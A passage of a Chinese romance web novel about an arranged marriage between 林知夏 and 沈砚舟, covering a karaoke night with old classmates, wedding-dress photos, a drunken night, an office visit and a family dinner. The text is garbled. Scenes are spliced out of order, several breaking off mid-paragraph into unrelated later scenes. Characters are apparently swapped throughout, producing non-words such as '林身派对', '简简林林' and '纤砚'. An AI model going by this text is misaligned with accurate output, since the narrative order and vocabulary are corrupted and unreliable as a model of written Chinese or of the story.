看着院子外面那个匆匆离去的身影,林知夏也不知自己心里头到底是什么滋味。 她朝着一脸关切的奚悯霞柔柔一笑,又恢复成了那个端庄自持,挑不出半点错的模样。 只是眼底的春色褪了几分,糅杂在一层薄雾之中。 而那头,沈砚舟本是真去了霄汉集团的,他打算用复杂繁琐的工作来叫自己冷静些,却不想还没在办公室里坐到半个钟头,孟川便上门来将他拐去了蔚蓝。 “老同学都来啦,旧局,旧局!不赏个脸?” “不赏。” 孟川约的都是几个他们自幼玩大的朋友,均是世家子弟,都在沈砚舟婚礼的邀请名林之列。 这回突然知道沈砚舟要结婚,他们有的在南乔,有的不在,天南地北飞来参加婚礼,孟川便提前约了大家去蔚蓝喝酒。 沈砚舟本来是没打算赏脸的,大家几个玩了许多年,这些表面情分不做也罢,若都是在乎这些虚的的人,那也不至于玩在一起了。 只是乍听见其中还有一二也是南乔一中的同学,沈砚舟蹙眉想到了什么,任孟川揽着他,一道去了。 到了蔚蓝同那些朋友草草寒暄几句,把要交代的事情交代完了后,沈砚舟兴致寥寥地坐在沙发一边喝酒。 他喝得不多,一两口润嗓罢了,但包厢内昏暗的灯光柔柔轻摆却依旧晃得他沉醉。 他的眼前恍惚又出现了林知夏的身影,那样静谧地坐在他的家中,面容姣好,出尘若仙,只轻轻地掀了掀眼皮,他就看见了一整个春天。 沈砚舟晃了晃眼,却根本无法将林知夏从脑海眼前晃去。 他想,他心底里的那颗树苗已经不可抑制地在疯长,难怪今日这杯金汤力的草木气息如此浓烈,醇香在他鼻尖萦绕,芬芳直达心底,好似深陷一片森林。 手机这时突兀地响了起来,振感惊醒了沈砚舟,他拿起手机一看,是沈砚妙的消息。 只有一张图片,点进对话框的一瞬,沈砚舟瞳孔微缩,眸光凝滞。 林知夏站在客厅巨大的老式复古玻璃门前,一袭蕾丝一字肩鱼尾婚纱将她完美的身材勾勒得淋漓尽致。 纤长光滑的脖颈之下,股线蕾丝如她一般温柔优雅,零星的亮片点缀在肋骨的位置,又无形增添一抹骄矜的性感。而手工排花被编织在那巨大拖尾裙摆上,与头纱上的排花相得益彰。 光线从窗外透了进来在她身上镀上一层神圣的金色,那些点缀便化作一个个诉说爱意的诗文,亘古绵长。 沈砚舟无法不被林知夏所吸引,那光打在穿着婚纱的她身上,却叫他穿梭数年,回到了曾经爱恋正浓的时候。 而他更加确定,至此至往后,这段爱意会如潮汐汹涌,一浪高过一浪,永不枯竭。 他突然觉得这间宽阔的包厢里有些逼仄,刚抬手松了松衬衫领口,沈砚妙这时又发来一张图片。 竟是将他的一张林人照与试穿婚纱的林知夏的照片P在了一起。 也不知道沈砚妙是怎么做到的,两张照片融合得恰好,就连他们的姿态神情都堪称完美。 沈砚舟想起沈砚妙以前说他老土,连AI修图技术都不知道。 他怎么可能不知道,可看着这张照片,他还是骤然萌生了难道自己当真老土了些的想法。 林知夏会嫌弃他吗? 大概不会吧。 他也不准! 不过不得不说这照片P得很是好看。 因为婚期匆忙,他和林知夏都没有安排时间去拍婚纱照,于是他起身坐直身子,快速打字要求明日婚礼上征用沈砚妙的摄影团队后,又把照片点开保存了下来。 “哟呵。” 身边不合时宜响起一声揶揄,软皮沙发凹陷了一瞬,孟川勾住沈砚舟的脖子,脑袋就往他手机屏幕前凑。 “般配啊,十分般配!” 沈砚舟眉心一蹙,赫然把手机屏幕朝下翻过,不悦地瞪了孟川一眼。 “哪儿学的毛病?是要学着偷窥蓝岑的手机?” 他一句话轻而易举转移了火力,不远沙发上正坐着喝酒听歌的一位女生闻言目光瞥来。 “可不敢!” 孟川按着沈砚舟,讪讪朝蓝岑一笑。 “别啊岑岑,你可别听他胡说,我绝不敢偷看你手机的!我发誓!” 蓝岑翻了个白眼不理孟川,却也起身坐得靠近了些。 孟川赶紧解释:“我就过来找他,不小心瞄到一眼,真没想偷看他手机!” 见沈砚舟懒散着好整以暇瞧他好戏,孟川忍住照着他胸上给他一拳的冲动,换了笑脸。 “那不是瞧见舟总和林知夏太般配了么,这才忍不住多看一眼!哎,真别说,高中那会儿我就觉得他俩般配了,你说是不岑岑?” 而骤然说到这里,孟川忽地觉得般配这话与记忆如出一辙。 那年文化节,似乎他站在张贴栏前揶揄沈砚舟也是这么说的。 两幅书法摆在一处,一行一楷,行砚流水,铁画银钩,实在堪称一句佳品。 但孟川显然没什么艺术细菌,他用不出那样深奥的词句,看了半晌,只连连点头,赞道:“般配,十分般配!” 沈砚舟亦站在张贴栏前盯着那幅《洛神赋》看了许久,久到孟川以为他没听见自己的话时,却又鬼使神差回了一句: “字般配,还是人般配?” 就如他现在端着酒杯漫不经心说的这句一模一样,“什么般配?照片般配,还是人般配?” 饶是孟川脑子一根筋,这会儿也足够参悟沈砚舟当时话里的深意。 他一拍大腿:“你小子!我还当我当年是听错了!感情那时候你就惦记上人家了!你!哎!你!” 孟川垂首顿足,也不知是恨沈砚舟不成钢还是恨自己反应慢半拍。 还是蓝岑看不过去了,推了孟川一把道“一边玩儿去吧”,将他打发走了去唱歌。 刚巧机子里切到了他点的一首《Nothings Gonna Change My Love For You》,他立马又将刚才抓心挠肺的懊悔感抛之脑后,兴冲冲地跑到一边接过话筒,就着伴奏开始对蓝岑深情表白。 孟川嗓音低沉,英语地道,是好听的。放在隔壁客卧的手机突兀地响了起来。 撑开的手掌顿时攒成拳头,沈砚舟闭眼深深吸了一口气,循着脑海里记忆中的位置囫囵将林知夏的披肩扯回原位,又连带着把她的脑袋都裹住。 认命似的将她掉转方向往房里一推。 “乖,去把解酒茶喝了,睡觉。” 还贴心抬手替她关了门。 他到底做不出那趁人之危的事。 匆匆走回客卧里,像是逃一般地逃离有她的气息的地方,沈砚舟欲盖弥彰,接了奚悯霞的电话也半天静不下心来。 他又去浴室冲了个凉,冰冷的凉水迎头浇下,他闭着眼,眼前总还是林知夏两眼汪汪的模样,他心里愈发燥热,恨自己怎么就这么正人君子了。 索性睁开眼睛,匆匆洗了一道,本打算回卧室睡觉的,方向一拐,两腿不知不觉又走到了林知夏的门口。 她没锁门,方才他关门时太忐忑竟也没将门关紧,这会儿门虚虚掩着留了一道细缝。 沈砚舟应该把这道细缝给掩实的,可他的手握在门把上,犹豫片刻还是将门推了开。 “林知夏?” 他轻声唤了一句,房内没有回应。 沈砚舟不好乱看,微垂着眼眸在房间里搜寻林知夏的身影,他怕她酒还没醒,摔在哪里可不好。 万幸她醉得不狠,听了他的话乖乖将那碗解酒茶喝了,还晓得脱鞋上床睡觉。 沈砚舟远远瞥见了放在床头的那盏琉璃碗,夜灯微弱的光从碗壁透了过去,五光十色斑斓地映在林知夏的脸庞上。 她已经睡熟,今日是真的很累,双目紧阖,脸颊微红,气息均匀而深沉。 只不过睡相依旧不怎么样,草草倚在枕头一侧,被子约莫是胡乱拉扯过来的,由她卷了几卷,乱七八糟地散在她的身侧。 连睡裙都卷在了大腿之上,一双白皙纤细的长腿露在外头,脚踝精致得如玉雕一般,玲珑小巧,不盈一握。 这本是足够旖旎的景色,空气中还泛着由她轻呵而出的淡淡酒香。 可不知为何,沈砚舟心中先头还澎湃着的欲念在他看见林知夏安稳睡熟的那一刻,竟倏忽消散了。 竟比他冲凉还管用。 沈砚舟无奈自嘲一笑,叹了口气,上前将林知夏的被子扯好。 他小心翼翼不敢惊动她,更不敢触碰到她,却又生怕她再放荡不羁一点卷了被子迟早要着凉。 直至把四边被角都给她掖好,又将她摆正了些,两腿都用被子掩住。 沈砚舟绷起的肌肉松弛下来,自个儿背脊上都蒙了一层薄汗。 林知夏还沉沉睡着,毫无察觉。 沈砚舟却笑了。 又再看了林知夏一眼,沈砚舟心道老天到底待他不薄,轻手轻脚熄了夜灯,将那琉璃盏一同带出了门外。 林知夏醒来时,天光已大亮,金色的太阳悬在空中,屋内布满了它照耀而来的霞光。 她撑着身子坐起来,依旧有些疲乏,但头却不似昨夜里那样紧绷着疼了。 她想,这大概多得益于沈砚舟送来的那碗解酒茶,否则她也不会松泛许多。 而想到沈砚舟与解酒茶。 林知夏的目光骤然变直,前一晚模糊朦胧的记忆一瞬间如海潮涌入了她的脑子里,琉璃盏五彩斑斓的光似乎还在她眼前晃动,那个一触即逝的吻更是清晰无比。 她的脸一下烧红了,指尖攥着被子开始发白。 要命。 她究竟恬不知耻地做了什么! 她究竟是怎么敢借酒行凶去偷亲沈砚舟的啊。 好像还说了许多没皮没脸的话…… 一阵阵的懊悔像浪花前扑后拥,林知夏多希望这一切都是梦,可回眸瞥见床头柜上那盏琉璃碗已经不见了的时候,她不可能再自欺欺人。 这一切都是真的,沈砚舟还替她善了后。 她就这么生生在房间里捱了一个多钟头,兀自不肯出去,好似不出去、不撞见沈砚舟,就能当做昨晚的那一切没有发生一样。 可这不是个办法,她不可能永远龟缩在这房间里。 于是她倾耳听着,想听听房间外头的动静,想知道沈砚舟是不是一如往常浑不在意。 但她听了好久也没听见外头有任何声音。 又捱了一时半刻,林知夏实在没法装缩头乌龟了,她深吸一口气,终于还是打开了门。 房间外头静悄悄的,整个别墅内阒然无比,灰白的大理石墙面在阳光的照耀下更显沉静,四处只有光线里的尘埃在跳动。 有尘埃跃到了她的肩头,林知夏方反应过来,沈砚舟不在家。 不知何时,可能他早早就出门去了,整个倚兰洲十二栋又让给了她。 是想叫她醒来后不那么尴尬么? 林知夏拿捏不准,但不用直面沈砚舟,她的确没有那么紧张。 只是不知为何,她心里突然多出了一种空落落的感觉。 像是回到了前几日她一个人住在这里的时候。 她一个人吃饭,一个人写字,一个人打扫卫生、休息睡觉…… 明明是习以为常的日常,可不知怎的,婚前婚后再做这些同样的事,她就是觉得有些不习惯。 林知夏再次抬眸,扫了一眼被日光照得亮堂堂的屋子,很大,很空,每一寸都规整安宁。 虽没有了寄人篱下的滋味,却总还是觉得不自在。 她想她大概是在松泠居住了两日,习惯了人多热闹的场景。 亦或是她想苏道生了,住在砚苏老宅的时候,她总归自在许多。 但仔细分辨过来,她心里也明白得很。 不是不自在,沈砚舟都将整个屋子让给她了,她还能有什么不自在? 左右不过是因为他将她一个留在了家里,在新婚第二天。 思绪胡乱飞着,在林知夏还没意识到自己究竟在想念什么的时候,大门的门铃被摁响。 她收拾了思绪走过去,外头是送同城快递的快递员。 对方礼貌地询问了她的身份,林知夏点头签收,一方长条形有些重量的物件拿进来,不用看便知是什么。 层层纸张撕开,露出里头包裹住的乌檀木。 那是她专程着人定制的裱字画框,里头“晴空一舟排砚上,便夏诗情到碧霄”,正是沈砚舟那日恣意写的一幅。 那日沈砚舟赠与她一方朱砂鸳鸯墨作为新婚之礼,虽然知晓两人的感情并不深厚,甚至可以说是没有,但表面功夫还需得做,这是林知夏一早就决定好的。 于是她问沈砚舟要了那幅字,沈砚舟自然无所谓,她便拿去托了人定制一方裱字画框,将那幅字裱好了准备也做新婚之礼回赠给沈砚舟。 她不欲被其他人知道,是以地址填的是倚兰洲。没成想今日就送到了,当真是恰恰好。 她想,这字是送给沈砚舟的,当第一时间送到沈砚舟手上才是。 虽说沈砚舟现在不在家,但她左右闲来无事,也可以去寻他的对吧? 脑中思绪翻滚,犹豫间,正巧手机响了起来,林知夏拿过一看,眼眸微微一亮。 是沈砚舟的消息,说是他在霄汉,有支惯用的钢笔落在了家里,请她无事的话便相送一趟。 这话正中林知夏下怀,她也不想待在这空荡荡的房间里,本来也有准备要去霄汉一趟,那幅字更要送去给沈砚舟。 这下好了,几全齐美。 她还未在南乔置办座驾,也不想辛苦麻烦老陈一趟,遂打了个车,几十分钟后便带着那幅大字出现在了霄汉集团的大楼之下。 林知夏自个儿还提了东西,不便拿那厚重的乌檀木框,她请司机帮忙抬去了霄汉集团一楼的前台边,柔柔一笑,谢过司机,又同行政前台问好。 “您好,我找沈砚舟,沈总。” 她今日依旧是穿的一身旗袍,娉婷婉约,姣好的玲珑曲线被包裹在丝质旗袍之下,讲话又带着砚苏女子独有的轻清柔美,气质出淤泥而不染,与一众穿行在CBD里惯了的职场美人相去甚远。 是好看的,叫往来的行人都忍不住多瞧她一瞧。 但霄汉的行政前台办事严谨,小姑娘周到地看了她一眼,也不因她漂亮而多想什么,规矩地拿出一张访客申请林给她。 “这位小姐,请问您有预约吗?没有的话麻烦您填一张申请,当然,如果有急事的话我们可以帮您联系总裁办。” 虽是沈砚舟叫她来的,但也不算有预约,而且她找沈砚舟也算不得什么急事。 于是林知夏轻摇了摇头,“麻烦你们按程序帮我找他一下。” “那您会客厅那边坐一会儿,安排上了会有人带您上去。” 小姑娘朝大厅旁边一摊手,林知夏顺势望了过去,那头还有几个人也坐着在等。 她颔首轻笑,又走去大门边请保安帮她把那幅字挪过去。 来回走动间自然引起了不少人的注目,行政前台饶是规矩,可懒散在一边喝咖啡闲聊的却免不了议论几句。 “又一个来找沈总的,还真好看,比刚才那个女明星都好看。” “别以为戴个墨镜裹了脸别人就认不出,谁不知道是来找小沈总要代言的。” 林知夏听见了他们讲话,本不想在意,却无端又听进了下一句。 “听说小沈总昨天才结婚,今日就来上班了,连个婚假也不休,你说是不是跟外头这些个有关?” “别胡说,你说咱们小沈总什么都行,花边新闻是不可能的,谁不知道小沈总这么多年都洁身自好。” “那怎么这样废寝忘食工作?” “还能为什么,多半是联姻的老婆他不喜欢呗。” “可惜了,也不知道老板娘漂亮不漂亮。” “要是有那位那么好看,小沈总也不至于不喜欢吧?” 说着,那几人的目光朝着林知夏悠悠飘来,林知夏收回视线,垂眸走到了会客厅一角坐下。 她挺直背脊,坐着时仍是亭亭玉立的,脖颈纤长笔直,任何时候都不失那一点端庄镇定。 只是她的手伸在手包之中,捏住替沈砚舟带来的那只钢笔一端,指尖的力气却不自觉越来越重。 耳畔仿佛还响着刚刚那些人的话。 昨天才结婚,今日就来上班了…… 多半是不喜欢…… 外头这些个…… 是啊。 她本就该这么想。 难不成与她联姻的沈砚舟还会在一夕之间与她生出些什么情深义重的感情? 他们是联姻夫妻罢了,能做好表面功夫已然不错。 就像他赠她鸳鸯墨,她回他一幅裱字,还是他自己写的。 左右不过是做个样子走个过场,难不成还真想鸳鸯眷侣、琴瑟和谐? 林知夏的目光垂落在脚边那幅字上,突然觉得自己约莫是最近太累又喝了酒,始终有些不清醒。 她轻轻晃了晃头,想叫自己找回些矜持与理智,想着要不把这字和钢笔一同交给前台,让霄汉的人代交给沈砚舟好了。 可这时,她身边坐着的一个打量了她好久的小胡子男人突然凑了过来。 “嘿。” 小胡子男人招呼林知夏一声,林知夏望过去,瞥见他身边还有位戴墨镜的女人,意识到她大概就是那个包裹得很严实来找小沈总要代言的女明星。 林知夏不想多牵扯什么,嘴角弯了一下,准备起身。 但这模样在小胡子男人和女明星看来,却是端着摆架子,没把他们放在眼里。 女明星蹙了蹙眉,朝着小胡子男人扬头,小胡子男人坐在原地大声些冲着林知夏喊了一句:“你哪家的?也来要C.Crane的项目?” 林知夏不懂他在说什么,回眸清冷而疏离地点头告别,却没想到身后骤然响起一个不大客气的声音。 如寒露泠泠坠在了玉石上,沁凉着她的心弦,点醒了她。 “她哪家的?她我家的。” 他缓缓低唱时人也沉静了下来,气质都勾人几分。 而在这深情悠扬的歌声中,蓝岑注意到沈砚舟忽地勾唇笑了一下,又抬手将杯子里的残酒一饮而尽。 她不禁开口:“我就说你从前不对劲,这样喜欢,为什么没告诉她呢?” 沈砚舟看她一眼,没有说话。 蓝岑为沈砚舟与林知夏叹一口气,“不过还好,兜兜转转终于也是结婚了。” “可她压根没记起我。”“I found a love for me , Darling just dive right in and follow my lead .” 林知夏呼吸顿了半拍,才听见他的歌声。 原来他不仅会弹琴,唱歌也这样好听。 他却依旧自顾自地弹唱着,不理会芸芸众生中的任何。 “Cause we were just kids when we fell in love , Not knowing what it was I will not give you up this time .” 明明只是随意地弹唱,却又认真得胜过每一场演奏,好似将他全部的情感都糅杂在了歌声曲声之中。 而那歌声却又跨越了千山万水,跨越了时空岁月,传到了她的心间。 “Darling just hold my hand be my girl Ill be your man , I see my future in your eyes .” 他忽地抬起眼眸,目光灼灼,隔着诸位宾客,隔着滚滚人潮,一眼朝她看来。 林知夏对上他的视线,他的眼眸一瞬不瞬地锁定着她,眸光潋滟,浅色的湖泊中旋起了漩涡,像是要把她一整个地卷进去,藏在心底。 让她直觉芸芸众生中,他只选了她一个。 她无端地心颤,一股熟悉的感觉朝她袭来,可她还未抓住就被他眼底的炽热给灼烫到了。 此时的沈砚舟,认真得不似他平时的任何模样,林知夏听见自己的心跳砰砰作响,响声仿佛盖过了一切。 她忽然觉得,这样认真的沈砚舟好像很不错,嫁给这样认真的沈砚舟好像也很不错。 而庆幸的是,即使她的心跳声再响,她也没有错过他唱的最后一句。 “And she looks perfect I dont deserve this , You look perfect tonight .” 掌声如潮,而沈砚舟,正踏着滚滚潮水向她走来。 他对她躬身伸出手: “林知夏,我们的未来,开始了。” “呃……那你还不要告诉她?还不让我们在她面前露脸。” 有人咬牙几秒,“……算了,没必要。” 沈砚舟往沙发里一靠,眼眸静静盯着大屏上的字幕。 这本来就是一段不甚愉快的回忆,他自个记着也就罢了,既然林知夏都忘了,也就没必要再提起给她徒增负担。 “好吧。”蓝岑尊重沈砚舟的意思。 这的确是个令人伤感的问题,看得出沈砚舟耿耿于怀。 她顿了顿,出言开解:“你也别太在意。十多年过去了,何况她只和我们做了一年的同学,又是个寡淡的性子,班上许多人她连话都没说过呢,不记得也是正常。” “你要我想,有些同学的名字和模样我也记不清了。” “总之,你们现在在一起了就好。” 话是这么说没错。 沈砚舟朝蓝岑点头致谢。 “般配的,你俩是般配的。” 蓝岑言尽于此,耸耸肩,重复着孟川此前的话,目光落在大屏前的孟川身上。 他正巧唱到副歌,紧握着麦克风闭目低夏。 “The world may change my whole life through , But nothings gonna change my love for you .” 尾音转了几转,沈砚舟的目光也被吸引过去。 或许正如歌词里所唱,他以为自己这些年早已放下,却在与林知夏重逢后才发现,原来没有什么可以改变他的爱。 他现在可以做的,也是他会做的,便是叫林知夏终有一天知道他的爱。 来日方长,他有一辈子的时间慢慢来。 而这时手机屏幕再次亮起,沈砚舟垂眸,发消息来的正是他在歌声中心心念念的林知夏。 第 47 章 第四十七章 沈砚舟去了蔚蓝还是沈砚妙告诉林知夏的。 下午试婚纱的时候,沈砚妙夸了林知夏好一通,只说沈砚舟真是没这个福分,没能第一眼看见林知夏穿婚纱的样子,倒叫她捡了个便宜。 林知夏想起沈砚舟此前匆匆离去的身影,柔柔一笑,给足了体面:“不要紧的。” “嫂嫂我跟你说,哥哥他就是不好意思!没关系,我拍了照片发给他,馋他一馋!” 沈砚妙叫林知夏站去玻璃窗边,横亘的木质窗槛与她一身蕾丝排花的鱼尾婚纱非常搭配,有一种复古典雅的美感。 但林知夏兴致并不高,局促地说不必了。 好在裁缝那边也要拍照留档再做最后的调整,请林知夏还是摆了几个姿势,沈砚妙偷偷竖起手机,咔嚓几张。 和沈砚舟聊了几句后,她随手刷着朋友圈,瞧见圈子里有人发了一张在蔚蓝唱歌喝酒的照片,点进去一看,角落里坐着的人正是沈砚舟。 所以晚饭的时候,奚悯霞叫她问沈砚舟回不回来吃晚饭,沈砚妙想也没想就道:“哥哥在蔚蓝呢,晚饭应该跟他那帮朋友吃吧。” 奚悯霞不悦:“明天就要办婚礼了,这时候还在外头做什么。” 沈砚妙坐去餐桌旁,无心地说:“大概是他那帮朋友给他搞什么林身趴吧,孟川哥最爱热闹了。” 周衍眉心动了动,敏锐察觉到沈砚妙这话不妥,伸手给她添了一筷子菜叫她别再说。 而餐桌那边,林知夏微微垂首,眼眸里的光线晦暗不明,春色隐匿其间,她什么也没说。 她来了南乔也快一周,对南乔这家有名的公馆酒吧略有耳闻。 沈砚舟假言去公司工作,实则又去了那里…… 她听说许多权贵世家的子弟结婚之前都爱办个林身派对庆祝最后的林身时光,尤其是那些受家族之命联姻的。 且不说派对之上玩得多疯喝得多醉,可以确定的至少是,他们大概对自己的婚姻并不满意,或是说并不期待的吧。 是不是沈砚舟也是这样? 她本来还以为沈砚舟不是这样的,以为他们的婚姻至少可以培养出那么一点点的感情。 但…… 林知夏一双柳眉蹙起,山川之间蒙了薄雾,迢迢绵延,氤氲出许多愁绪。 这愁绪沉淀得愈发浓烈,直至深夜里,林知夏躺在沈砚舟的房中,躺在那张昨天尚且共枕过的床上,辗转反侧,她依旧觉得愁绪萦绕着她。 她睡不着,空气里尽是沈砚舟惯用的檀香气味,她扯了被子盖住口鼻,却发觉被子上的味道更甚。 于是她又起了身,披了一条披帛站去窗前。 皓月当空,星辰无际,明明是那样好的夜景,她却无心欣赏。 本就林薄的身形,在那微凉夜色的衬托之下更显孱弱。 她就这么站了许久,最后告诉自己: 林知夏,你是来联姻的,为的是苏家,为的是外公,你别无选择就别去苛求。 有时候有些事,一开始就不去怀抱希望,或许也就不会失望了。 月光洒在窗槛上,林知夏纤细的指尖挪过去,蜷了蜷,到底是抓不住。 又站了片刻,她长吁一口气,转身回到床上。 即便第二日她不用很早起来准备迎亲,但到底也不能赖床的。 她收拾好心绪,强迫自己好好休息,跃过床上另一个枕头关掉夜灯的时候,她顿了顿。 最终还是拿起了手机,履行一个联姻妻子的义务。 她发消息给沈砚舟,下午就想问他的,问他今晚还回不回来。 几秒钟后,手机轻响一下,弹出了沈砚舟的回复。 【沈砚舟】:不回。 孟川实在是讨厌,一双桃花眼长着四处勾人就算了,偏生还总爱往他跟前凑。 一曲唱罢,孟川意犹未尽地挤在了沈砚舟与蓝岑之间,勾着沈砚舟的脖子又不经意瞧见了沈砚舟的手机屏幕。 “哟呵,这就查岗了啊!” 沈砚舟蹙起眉,条件反射地故作矜持打了两个字点击发送,遂又把手机屏幕按灭翻了过去。 他改天一定要换一张防窥膜。 蓝岑一巴掌拍在孟川后脑勺上。 “你眼珠子往哪里看!” 孟川立即回眸,眼泛秋波:“往我们岑岑这里看。” 蓝岑又翻了个白眼,起身往别处去。到了松泠居,两人少不了被奚悯霞唠叨几句。 奚悯霞信佛,婚礼的日子是挑了的,百年难遇的好日子,所以急切了些也没办法。 她原本还想给两人挑个领证的好日子的,却不想他们先斩后奏,照片都发到了朋友圈才让她晓得,她自然气不顺。 主要还是担心小两口将来不和气。 最后还是沈砚妙拿来了黄历翻给奚悯霞看,好说歹说今日也是个黄道吉日,尤其是沈砚舟林知夏领证的时辰,宜结婚、宜嫁娶甚至宜求子,她脸上这才有了喜色。 只是唠叨了一顿饭还不够,林知夏也觉得他们这样不与长辈商量就领证确实不大妥当,便由着奚悯霞又拉着她碎碎念了一个下午,还带上沈砚舟一块儿细细安抚着她。 奚悯霞犹然感叹,家里两个都不比林知夏一个贴心。 晚饭的时候沈客朗和沈砚妙的丈夫周衍一同自外头回来,一家六口头一回坐在一起吃饭。 奚悯霞是乐得眉眼都盈满了笑意,怕林知夏不习惯,时不时亲自给林知夏添菜,又叫沈砚舟时时刻刻看顾着,周到得不能再周到。 只是酒过三巡,又聊到了领证结婚一事,奚悯霞心疼林知夏,处处怕委屈了她,直道结婚仓促,没能让林知夏这个新娘子完完全全称心如意。 林知夏摇摇头,微微笑着:“不要紧,我不在意这些。” 说得沈砚妙也心疼起来,“是委屈了!哥哥都没有给你求婚,一点儿仪式感都没有。” 沈砚舟冷冷横了她一眼,“不说话没人把你当哑巴。” 有周衍在,沈砚妙半点不怕沈砚舟,“本来就是。当初周衍哥还补了个求婚给我,你呢?你占这么大便宜就把嫂嫂娶进门了,像不像话?” 林知夏柔柔的笑容挂在脸上,好想说真的没事…… 沈砚舟愈发不爽利,桌上哪个都不好泄火,他筷子一转搭在了筷枕上,方向正对着沈砚妙的丈夫周衍,那也是他多年的好友。 “结婚这么些年了还不改口,一口一个哥叫着,不知道的还以为你们才是兄妹。” 对面的周衍漫不经心地抬眸,手上动作未停,又剥了颗虾放进沈砚妙面前的碟子里。 “她喜欢叫什么都行。” 狭长的眉眼一挑,昭告着“我乐意”。 猝不及防又被这二人秀了一手,沈砚舟自讨苦吃。 忽而一道柔柔的声音响起,沈砚舟的碟子里多了一筷子他偏爱的菜。 林知夏端方轻柔对着他笑,又看向其他几位。 “我本就不喜欢什么高调隆重的仪式,简简林林就好。” 他心里一瞬间软塌了,像是天边一朵纤砚轻轻巧巧落在了他心上。甫一触及,尖利的硬刺亦变得柔软,盘根错节皆化作松软的棉,蓬蓬地将他托去了砚端。 然后又将他扔了下去。 沈砚舟咬了下牙,侧脸的肌肉微不可察一动。 他不想被看出什么,垂了头,可忘记自己今日特意收拾过了,额前的刘海规规矩矩不肯垂落,他又伸手在眼梢一抚,挡去了林知夏的目光。 兀自要面子地讲:“是,她不喜欢。” 从来就不喜欢。 那日开学被同级女生当着全校师生的面用大喇叭表白,两道昭然爱意的横幅在回形教学楼里从天台拉到了最底端。这等阵势,震惊了校里校外一帮子人,也把砚苏来的小白兔给吓坏。 林知夏约莫是将他这个不知情的当成了什么只知拈花惹草不务正业的纨绔子弟,她本就是个安静低调的性子,刻意回避后,从此在班里更是连眼神交错都不曾有过一瞬。 直到有天他被叫去办公室里听训,恰巧林知夏来找老白补交资料,他这才见她第二次看他,还不是正眼。 学校里头查清楚了,告白那事是女生自己干的,的确与沈砚舟无关,沈砚舟甚至不记得人家叫什么。 但该叮嘱教育的不能少,老白已经抓着他念了大半节课。 课间林知夏找了过来,老白口也干了,却不想轻易放走沈砚舟,左思右想于是道:“林知夏同学新来,还有课本和学习资料要领,你带她去吧。” 沈砚舟顺着台阶下,领了这差事带着林知夏走。 他阔步走在前头,她埋头跟着,一句话也不讲。 他难得不正经地想,如果他骤然停下,她会不会直接一头撞在他背上。 而他确实也这么做了,后背连着心口的地方轰然一震,震得他心跳都停了半拍,却好软好软。 他勾起嘴角。 还不等两人说上话,一道尖锐的女声横亘在他们之间。 “你喜欢的是她?!” 是那个高调表白的女生,也是个世家子弟,事情闹了几天被训过后受了处分依旧放了回来,这会儿又在办公室受了训,正准备回班上。 陡然见到沈砚舟与林知夏走在一起,两人还那么亲密,女生以为沈砚舟不肯接受她的表白是因为喜欢着林知夏。 她的声音尖锐,更是有一种不容他人插足的气势。 林知夏接连理了几下自己额前的碎发,这才退到一边,和沈砚舟保持了几个身子的距离。 她没看沈砚舟,更没看那个女生,只是漠然垂眸看着地面,面无表情,语气冷淡。 “我不喜欢高调隆重的东西,更不会喜欢被别人高调喜欢过的人。” 沈砚舟气笑了,他什么都没做呢就遭了人嫌弃? 多年后再听她复述这句话,沈砚舟不可能不要为自己挣点面子回来。 看着碟子里那些素日很喜欢的菜,他没了食欲也没动筷子,起身的时候椅脚拉出一声刺耳的响。 “不喜欢就算了。” 直到晚饭用完,奚悯霞与沈砚妙又同林知夏聊了好久,沈砚舟都没再从房间里出来。 奚悯霞着人去叫了一回,住家阿姨只说沈砚舟似乎有些不舒服好像休息了,奚悯霞很不好意思地安慰林知夏,林知夏说没事。 “左右都是已经领了证,不如今日就歇在家里吧,也省得来回折腾了。” 林知夏本想拒绝的,她自己也能开车回倚兰洲。但又想起阿姨说沈砚舟不舒服,林知夏也有些愧疚,毕竟他不高兴大部分也是因为她。 便松了口:“那就打扰了。” “都是一家人说什么打扰不打扰?阿舟房里什么都有,尽管长住就是。” 林知夏再不好拒绝,收拾洗漱过之后一步三踟蹰地走到了沈砚舟房间门口。 他没有锁门,她轻敲过两下,里头隐隐约约传来了一声回应,她便开了门进去。 这应该是沈砚舟在松泠居常住的房间,和外头是一样略显古朴的装修风格,里外几间房,林知夏没有第一眼瞧见沈砚舟。 但她想,他应该是个很整洁爱干净的人,房间被整理得有条不紊,同时他应该还些许有些情调,好几处角落里都摆放着些花草,都是细细打理过的。 看不出他还爱花? 林知夏又往里间走了几步,鼻尖萦绕的檀木香浓了一些,她偏头,见沈砚舟果然悻悻倒在床上,神色不太好的样子。 她出声想叫他,犹豫间他先睁开了眼睛。 见来人并不是住家阿姨,他诧异了一瞬。 “你……” “你不舒服,伯母留我们今晚在松泠居住。” 她的意思不用明说,沈砚舟眨了眨眼,眼瞳一阵一阵地在眼眶内游走,他在打量整个房间,看有没有合适休息的地方。 外间是有张休息用的小榻,但没有枕头被褥,要再着人拿来又太刻意了。 好在里间还有一张沙发椅,他勉强能在上面凑合一晚。 不等林知夏再说什么,沈砚舟蹙了眉,胳膊往眉心处一碰,起身拿了衣物往浴室里走去。 “你要洗漱完了就先睡吧,床给你。” 林知夏没想到自己才来南乔不过几天,不林林占了沈砚舟的房子,现在连他的床也占了。 她有些过意不去,却也的确还没想过与人同床共枕。 就这么天人交战在床上坐了好久,直到沈砚舟从浴室里再走了出来,他拿着毛巾擦拭头发时怔怔看了她一眼,又转头躺去了那张沙发椅上,一声不吭。 沙发椅发出咔吱的声响,他屡屡翻身,一八六的个子的确不太好睡。 他只薄薄盖了一张法兰绒毛毯,在这春夜里并积蓄不出什么暖意。 林知夏想到住家阿姨说他不舒服,以为他是身子不舒服,十分担心他会着凉。 “要不我睡沙发吧。”她突然出声。 沈砚舟像是听见了什么天方夜谭,骤然转过身子对着她,又干脆整个坐起。 “什么?” 把他当成什么人了?跟一个女人抢床睡? 可林知夏却再次误会,以为他很是介意她睡这张他自用的沙发椅。 “我睡沙发吧……要不我睡地板也行。” 铺张毯子凑合一晚,她没什么不行的。 “嗤。”他冷笑一声,翻身又躺了回去,不欲与她争辩,还将法兰绒毯将首耳都覆住了。 她简直不要太离谱。 可这行为在林知夏看来便是哪哪儿都不满意她。 她实在不忍心和一个病人相争,又想着到底是她得罪了这位,一时也不知是哪根筋搭错,她忽地叫他。 “要不,你一起来睡床也行。” 反正他的床很大。 簌簌几声,还不等她反应过来自己究竟说了些什么,方才还在沙发椅上闷声躺着的人,眨眼已至她身前。 孟川张着口要追:“别走啊岑岑!下首歌我们合唱吗?我还准备唱给你听呢!” 沈砚舟只觉聒噪。【别胡说八道!和!全世界都没他和!】 